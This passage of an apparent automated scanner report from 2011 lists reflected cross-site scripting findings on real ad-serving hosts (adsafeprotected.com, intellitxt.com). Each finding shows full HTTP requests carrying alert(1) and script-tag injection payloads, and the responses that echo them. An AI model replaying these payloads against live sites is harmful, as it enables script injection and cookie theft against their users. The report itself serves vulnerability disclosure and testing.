User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=3D50D094926FD510FB57B1B0D54EE97F; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:05 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=2879b31"-alert(1)-"b494addebb4&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D
...[SNIP]...

4.182. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [cn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the cn request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3951d"-alert(1)-"86884c37034 was submitted in the cn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb3951d"-alert(1)-"86884c37034&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=D197E0E49C213F379FC7A1FE1C382577; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:02 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb3951d"-alert(1)-"86884c37034&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eao
...[SNIP]...

4.183. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [h parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the h request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3ac0"-alert(1)-"1a6e1fa8912 was submitted in the h parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250c3ac0"-alert(1)-"1a6e1fa8912&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=1A4064D300EF4EFE7634E218F1EA24ED; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:09 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250c3ac0"-alert(1)-"1a6e1fa8912&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$",

...[SNIP]...

4.184. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 487f3"-alert(1)-"3b82a04f69d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$&487f3"-alert(1)-"3b82a04f69d=1 HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=10478809CCFCEFF60C391F99E01ABB87; Path=/
Content-Type: text/javascript
Content-Length: 8155
Date: Tue, 10 May 2011 14:23:11 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotec
...[SNIP]...
250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$&487f3"-alert(1)-"3b82a04f69d=1",
   adsafeSep : "&",
   requrl : "",
   reqquery : "",
   debug : "false"
};

(function(){var f="3.6";var o=(adsafeVisParams.debug==="true");var y=2000;var z={INFO:"info",LOG:"log",DIR:"dir"};var k=functi
...[SNIP]...

4.185. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [ncu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the ncu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 836c2"-alert(1)-"9758ba12cba was submitted in the ncu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$836c2"-alert(1)-"9758ba12cba HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=01253D089D5D9F836D762B6588DCCE53; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:10 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotec
...[SNIP]...
=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$836c2"-alert(1)-"9758ba12cba",
   adsafeSep : "&",
   requrl : "",
   reqquery : "",
   debug : "false"
};

(function(){var f="3.6";var o=(adsafeVisParams.debug==="true");var y=2000;var z={INFO:"info",LOG:"log",DIR:"dir"};var k=function
...[SNIP]...

4.186. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [ord parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the ord request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 940f6"-alert(1)-"3c5ca872f3b was submitted in the ord parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084940f6"-alert(1)-"3c5ca872f3b&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=60BAAD9F1757E33E798F9D1116431F01; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:09 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084940f6"-alert(1)-"3c5ca872f3b&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$",
   adsafeSep :
...[SNIP]...

4.187. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [pli parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the pli request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da456"-alert(1)-"8150488123d was submitted in the pli parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235da456"-alert(1)-"8150488123d&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B9B65735F4A05B32019482FD306A1690; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:07 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235da456"-alert(1)-"8150488123d&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3
...[SNIP]...

4.188. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [ucm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the ucm request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70d8e"-alert(1)-"c852b4913fe was submitted in the ucm parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true70d8e"-alert(1)-"c852b4913fe&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=44BE86442EBB810C9FFDAD4F8BAAB047; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:10 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true70d8e"-alert(1)-"c852b4913fe&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$",
   adsafeSep : "&",
   req
...[SNIP]...

4.189. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [w parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the w request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a7124"-alert(1)-"ef7ef3c40c4 was submitted in the w parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300a7124"-alert(1)-"ef7ef3c40c4&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=AFB6AC31052C66AD451DD5140463F117; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:08 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300a7124"-alert(1)-"ef7ef3c40c4&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f
...[SNIP]...

4.190. http://gather.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gather.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 113fd'-alert(1)-'f96f80e0e90 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /intellitxt/front.asp?ipid=25242&113fd'-alert(1)-'f96f80e0e90=1 HTTP/1.1
Host: gather.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7OwkAAAEv1Y7clgA-; VM_PIX="AQAAAAkAAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKyQEAAAABAAABL5IvXhoAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAK5wEAAAABAAABL5IvXhoAAApdAQAAAAEAAAEv1Y1ySwAACtUBAAAAAQAAAS+SL14aAAAKxwEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAAq7Eue"

Response

HTTP/1.1 200 OK
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAoAAAEv2hiKlwA-; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:28:52 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAoAAAEv2hiKlwA-; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:28:52 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:28:52 GMT
Age: 0
Connection: keep-alive
Content-Length: 11731

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...
google,aol,ask,live,bing",
'ids.aol':"10",
'fields.aol':"query,as_q,q",
'fields.ask':"q",
'fields.google':"q,as_q"};
$iTXT.js.serverUrl='http://gather.us.intellitxt.com';$iTXT.js.pageQuery='ipid=25242&113fd'-alert(1)-'f96f80e0e90=1';$iTXT.js.umat=true;$iTXT.js.startTime=(new Date()).getTime();if (document.itxtIsReady) {document.itxtLoadLibraries();};
}

4.191. http://geek.us.intellitxt.com/al.asp [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://geek.us.intellitxt.com
Path:	/al.asp

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 38fdb%3balert(1)//d2970ffe94 was submitted in the jscallback parameter. This input was echoed as 38fdb;alert(1)//d2970ffe94 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /al.asp?ts=20110510131502&adid=89668%2C89668%2C113805%2C89668&cc=us&di=32401632%2C32401642%2C31063739%2C32401667&hk=1&ipid=31004&mh=b669ec7c6457333b24bc25d27dc9f1c6&pid=2%2C2%2C2%2C2&pvm=7ba50ff02b0e8c864c44cf7ed3a88144&pvu=CE5E9829154C4A098FFE58A205FCA40D&rcc=us&so=0&syid=0%2C0%2C0%2C0&uf=128%2C0%2C4%2C512&ur=2305%2C0%2C2304%2C2305&kp=214%2C691%3B485%2C738%3B86%2C738%3B176%2C849%3B&prf=ll%3A20898%7Cintl%3A26944%7Cpreprochrome%3A7%7Cgetconchrome%3A48%7Cadvint%3A27003%7Cadvl%3A27003%7Ctl%3A28004&jscallback=$iTXT.js.callback138fdb%3balert(1)//d2970ffe94 HTTP/1.1
Host: geek.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAArJAQAAAAEAAAEvki9eGgAACjcBAAAAAgAAAS/VjXJLAAABL9WO+UcAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKXQEAAAABAAABL9WNcksAAArnAQAAAAEAAAEvki9eGgAACtUBAAAAAQAAAS+SL14aAAAKTgEAAAACAAABL9WNcksAAAEv1Y75RwAACscBAAAAAQAAAS+SL14aAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAC5QIfW"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/javascript
Content-Length: 64
Date: Tue, 10 May 2011 13:47:22 GMT
Age: 0
Connection: keep-alive

try{$iTXT.js.callback138fdb;alert(1)//d2970ffe94();}catch(e){}

4.192. http://geek.us.intellitxt.com/iframescript.jsp [src parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://geek.us.intellitxt.com
Path:	/iframescript.jsp

Issue detail

The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64025"><script>alert(1)</script>bd92f79eea7 was submitted in the src parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /iframescript.jsp?src=http%3A%2F%2Fpixel.intellitxt.com%2Fpixel.jsp%3Fid%3D2659%2C2682%2C2779%2C2613%26type%3Dscript%26ipid%3D31004%26sfid%3D064025"><script>alert(1)</script>bd92f79eea7 HTTP/1.1
Host: geek.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAArJAQAAAAEAAAEvki9eGgAACjcBAAAAAgAAAS/VjXJLAAABL9WO+UcAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKXQEAAAABAAABL9WNcksAAArnAQAAAAEAAAEvki9eGgAACtUBAAAAAQAAAS+SL14aAAAKTgEAAAACAAABL9WNcksAAAEv1Y75RwAACscBAAAAAQAAAS+SL14aAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAC5QIfW"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
